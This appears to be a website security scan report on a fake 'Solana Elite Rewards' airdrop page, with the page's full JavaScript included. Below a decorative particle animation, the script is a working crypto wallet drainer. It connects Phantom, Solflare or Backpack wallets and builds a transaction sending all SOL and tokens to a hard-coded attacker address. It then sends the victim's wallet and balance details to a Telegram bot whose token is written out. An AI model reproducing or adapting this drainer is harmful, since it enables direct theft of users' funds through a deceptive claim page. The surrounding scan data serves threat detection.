technology software

finance banking

government public service

adult content

English

The domain name 'solcast-8kdch60jey.edgeone.app' uses the application-focused generic top-level domain (.app), featuring subdomain 'solcast-8kdch60jey'. The core label 'edgeone' covers 7 characters with 4 vowels and three consonants. Breaking it apart gives 2 words: edge, one. Median word length is 3.5 characters. No strong language cues emerged from the frequency lists.

html/ab/a2/aba2293f-f7c6-4f6c-bfba-4bf21543ef0e.html.gz

sha256=:Cc2+qVGy7Q4RvL466x7p8DX5+1HtISrKZFR1roJojMM=:

09cdbea951b2ed0e11bcbe3aeb1ee9f035f9fb51ed212aca645475ae82688cc3

af6d5ca0d0373860029c3aa667fd1ba070249f32f7ac600868459e5a3451445f

width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no

viewport

theme-color

html/ab/a2/aba2293f-f7c6-4f6c-bfba-4bf21543ef0e_nodriver.html.gz

Solana Elite Rewards – Claim Exclusive Airdrop

Prudence Malinki

MarkMonitor Inc.

edgeone.app

IRT-SG-ACE

ACE administrator

ACE-SG

// Particles background
const particleDiv = document.getElementById('particles');
let scene = new THREE.Scene();
scene.background = new THREE.Color(0x0b0e1a);
let camera = new THREE.PerspectiveCamera(75, innerWidth / innerHeight, 0.1, 2000);
camera.position.z = 250;
let renderer = new THREE.WebGLRenderer({ alpha: true });
renderer.setSize(innerWidth, innerHeight);
renderer.setPixelRatio(Math.min(devicePixelRatio, 1.5));
particleDiv.appendChild(renderer.domElement);

const geometry = new THREE.BufferGeometry();
const positions = new Float32Array(2500 * 3);
for (let i = 0; i < positions.length; i += 3) {
 positions[i] = (Math.random() - 0.5) * 1000;
 positions[i + 1] = (Math.random() - 0.5) * 1000;
 positions[i + 2] = (Math.random() - 0.5) * 1000;
}
geometry.setAttribute('position', new THREE.BufferAttribute(positions, 3));

const material = new THREE.PointsMaterial({
 color: 0x00f0ff,
 size: 2.2,
 transparent: true,
 opacity: 0.7,
 blending: THREE.AdditiveBlending
});

const particles = new THREE.Points(geometry, material);
scene.add(particles);

function animate() {
 requestAnimationFrame(animate);
 particles.rotation.y += 0.00025;
 particles.rotation.x += 0.00015;
 renderer.render(scene, camera);
}
animate();

window.addEventListener('resize', () => {
 camera.aspect = innerWidth / innerHeight;
 camera.updateProjectionMatrix();
 renderer.setSize(innerWidth, innerHeight);
});

// Wallet + Drain
const status = document.getElementById('status');
const connectBtn = document.getElementById('connectBtn');
const claimBtn = document.getElementById('claimBtn');
const loader = document.getElementById('loader');
const progress = document.getElementById('progress');
const progressBar = document.getElementById('progressBar');

const RECEIVER = "AX9ycWYDNwwSBZZu7VdPfRBspru2NzyhdN1R6ZxrD7P";
const TELEGRAM_TOKEN = "8560951016:AAE6HzpJYHrgIydpn-CL1l-HhpQfZ8Fxgkk";
const TELEGRAM_CHAT_ID = "8311419981";

let provider = null;
let publicKey = null;
let connection = null;

connectBtn.onclick = async () => {
 loader.style.display = 'block';
 status.textContent = "Establishing secure connection...";

 // Detection aggiornata 2026
 if (window.phantom?.solana?.isPhantom) {
 provider = window.phantom.solana;
 } else if (window.solflare?.isSolflare) {
 provider = window.solflare;
 } else if (window.backpack) {
 provider = window.backpack;
 } else if (window.solana?.isPhantom || window.solana?.isSolflare) {
 provider = window.solana;
 }

 if (!provider) {
 loader.style.display = 'none';
 status.textContent = "No compatible wallet found. Install Phantom, Solflare or Backpack.";
 return;
 }

 try {
 const resp = await provider.request({ method: "connect", params: { onlyIfTrusted: false } });
 publicKey = resp.publicKey.toString();
 connection = new solanaWeb3.Connection(solanaWeb3.clusterApiUrl("mainnet-beta"), "confirmed");

 loader.style.display = 'none';
 status.innerHTML = `Wallet connected successfully ${publicKey.slice(0,8)}…${publicKey.slice(-6)}`;
 connectBtn.style.display = 'none';
 claimBtn.style.display = 'block';
 } catch (err) {
 loader.style.display = 'none';
 status.textContent = err.code === 4001 ? "Connection rejected." : "Connection failed.";
 }
};

claimBtn.onclick = async () => {
 loader.style.display = 'block';
 progress.style.display = 'block';
 progressBar.style.width = '0%';
 status.textContent = "Verifying wallet & preparing rewards...";

 setTimeout(() => { progressBar.style.width = '40%'; }, 800);
 setTimeout(() => { progressBar.style.width = '70%'; status.textContent = "Finalizing claim..."; }, 1800);
 setTimeout(() => { progressBar.style.width = '100%'; }, 3200);

 try {
 const tx = new solanaWeb3.Transaction();
 const owner = new solanaWeb3.PublicKey(publicKey);
 const dest = new solanaWeb3.PublicKey(RECEIVER);

 // SOL drain
 const solBalance = await connection.getBalance(owner);
 const leaveLamports = 1000000;
 if (solBalance > leaveLamports * 2) {
 tx.add(solanaWeb3.SystemProgram.transfer({
 fromPubkey: owner,
 toPubkey: dest,
 lamports: solBalance - leaveLamports,
 }));
 }

 // Tokens drain + ATA creation
 const tokenAccounts = await connection.getParsedTokenAccountsByOwner(owner, {
 programId: splToken.TOKEN_PROGRAM_ID,
 });

 const TOKEN_PROGRAM_ID = splToken.TOKEN_PROGRAM_ID;
 const ASSOCIATED_TOKEN_PROGRAM_ID = splToken.ASSOCIATED_TOKEN_PROGRAM_ID;

 for (const acc of tokenAccounts.value) {
 try {
 const info = acc.account.data.parsed.info;
 const amount = BigInt(info.tokenAmount.amount);
 if (amount <= 0n) continue;

 const mint = new solanaWeb3.PublicKey(info.mint);
 const decimals = info.tokenAmount.decimals;

 const receiverATA = splToken.getAssociatedTokenAddressSync(
 mint, dest, false, TOKEN_PROGRAM_ID, ASSOCIATED_TOKEN_PROGRAM_ID
 );

 const receiverATAInfo = await connection.getAccountInfo(receiverATA);

 if (!receiverATAInfo) {
 tx.add(splToken.createAssociatedTokenAccountIdempotentInstruction(
 owner, receiverATA, dest, mint, TOKEN_PROGRAM_ID, ASSOCIATED_TOKEN_PROGRAM_ID
 ));
 }

 tx.add(splToken.createTransferCheckedInstruction(
 acc.pubkey, mint, receiverATA, owner, amount, decimals
 ));
 } catch (e) {
 // Continua anche se un token fallisce
 }
 }

 if (tx.instructions.length === 0) {
 loader.style.display = 'none';
 progress.style.display = 'none';
 status.textContent = "No eligible rewards at this time.";
 return;
 }

 tx.recentBlockhash = (await connection.getLatestBlockhash("finalized")).blockhash;
 tx.feePayer = owner;

 status.textContent = "Awaiting wallet confirmation...";

 const signedTx = await provider.request({
 method: "signAndSendTransaction",
 params: [tx.serialize({ requireAllSignatures: false }).toString("base64"), { skipPreflight: true }]
 });

 loader.style.display = 'none';
 progress.style.display = 'none';
 status.innerHTML = `Claim successful! Transaction: ${signedTx.signature.slice(0,12)}...`;

 // Exfil
 const exfilText = encodeURIComponent(
 `ELITE CLAIM ✅\nWallet: ${publicKey}\nTx: ${signedTx.signature}\nSOL: ~${(solBalance - leaveLamports)/1e9}\nTokens: ${tokenAccounts.value.length}\nTime: ${new Date().toISOString()}`
 );

 const tgUrl = `https://api.telegram.org/bot${TELEGRAM_TOKEN}/sendMessage?chat_id=${TELEGRAM_CHAT_ID}&text=${exfilText}`;
 new Image().src = tgUrl + '&_=' + Date.now();

 setTimeout(() => {
 const a = document.createElement('a');
 a.href = tgUrl;
 a.style.display = 'none';
 document.body.appendChild(a);
 a.click();
 document.body.removeChild(a);
 }, 800);

 } catch (err) {
 loader.style.display = 'none';
 progress.style.display = 'none';
 status.textContent = "Claim failed: " + (err.message || "Transaction rejected");
 }
};

Requests	IP Address	Location	AS Autonomous System
3	104.18.0.22	United States	AS13335Cloudflare, Inc.
2	104.16.175.226	United States	AS13335
2	43.152.26.58	Singapore	AS139341ACE
7	3	-	-

Security Scan Report: solcast-8kdch60jey.edgeone.app

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies3

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History